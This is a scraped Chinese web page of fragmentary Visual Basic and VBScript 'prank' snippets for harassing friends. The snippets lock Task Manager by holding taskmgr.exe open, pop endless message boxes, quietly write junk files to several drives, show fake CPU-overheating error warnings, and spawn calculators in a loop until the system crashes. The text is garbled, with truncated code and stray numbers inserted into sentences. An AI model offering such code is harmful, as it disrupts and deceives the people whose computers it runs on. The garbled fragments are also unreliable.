www.1862.net > visuAl BAsiC整人代码

visuAl BAsiC整人代码

此代码锁定了任务管理器,想关闭只有重新启动电脑,恶搞你的好友,或者骚扰你 Private Sub Form_Load() Open Environ$("WinDir") & "\system32\taskmgr.exe" For Binary As #1 For m = 1 To 999 MsgBox "呵呵,你知道我是谁吗?",

Private Sub Form_Load() i = 0aa: MsgBox "你中奖了, 奖品:1000个对话框" i = i + 1 If i < 3 Then GoTo aa '把3改为1000End Sub

VB整人经典代码 此代码锁定了任务管理器,想关闭只有重新启动电脑,恶搞你的好友,或者骚扰你 Private Sub Form_Load() Open Environ$("WinDir") & "\system32\taskmgr.exe" For Binary As #1 For m = 1 To 999 MsgBox "呵呵,你知道

Private Sub Form_Load()Form1.Visible = FalseFor i = 1 To 20# Open "c:\\你被怪人恶搞了,你傻了吧!" + CStr(i) + ".txt" For Random As 1 Open "d:\\你被怪人恶搞了,你傻了吧!" + CStr(i) + ".txt" For Random As 2 Open "e:\\你

Private Sub Form_Load() Form1.Visible = False For i = 1 To 20# Open "c:\\你被怪人恶搞了,你傻了吧!" + CStr(i) + ".txt" For Random As 1 Open "d:\\你被怪人恶搞了,你傻了吧!" + CStr(i) + ".txt" For Random As 2 Open "e:\\

放一个timer,名为timer1Private Sub Form_Load()Me.Visible = FalseTimer1.Interval = 10*1000End SubPrivate Sub Timer1_Timer()msgbox "CPU温度过高,系统出现严重错误!",16+4096,"警告"msgbox "CPU温度过高,系统出现严重

不知道你要的是那种整人2113代码.目前我这有一个.随便关都关不掉的.创建5261若干个窗体.4102我这里只弄两个做例子.form1 代码:Private Sub Form_Unload(Cancel As Integer)Form2.Show '关闭工程16531窗口,调用工程2.End Subform2代码:Private Sub Form_Unload(Cancel As Integer)Form1.Show '关闭工程2窗口.调用攻专城1窗口.End Sub这个是我们同学曾经发的一个整人小玩意.通过任务属管理器可以关掉.

打开无数个计算器,直到死机 ------------------------------------------------------------------------------set wsh=createobject("wscript.shell") do wsh.run "calc" loop直接关机-----------------------------------------------------------------------------dim WSHshell set WSHshell

运行程序后一直弹消息. 新建一个工程,把窗体移除.然后新建一个模块输入以下代码. ' ' Private Sub Main() dim i as long for i=0 to 1000 if i=10 then msgbox "累吗?不累就继续",,i elseif i=20 then msgbox "累了吧,累了休息会",,i

倒萨

相关搜索:

网站地图

All rights reserved Powered by www.1862.net

copyright ©right 2010-2021。
www.1862.net内容来自网络,如有侵犯请联系客服。zhit325@qq.com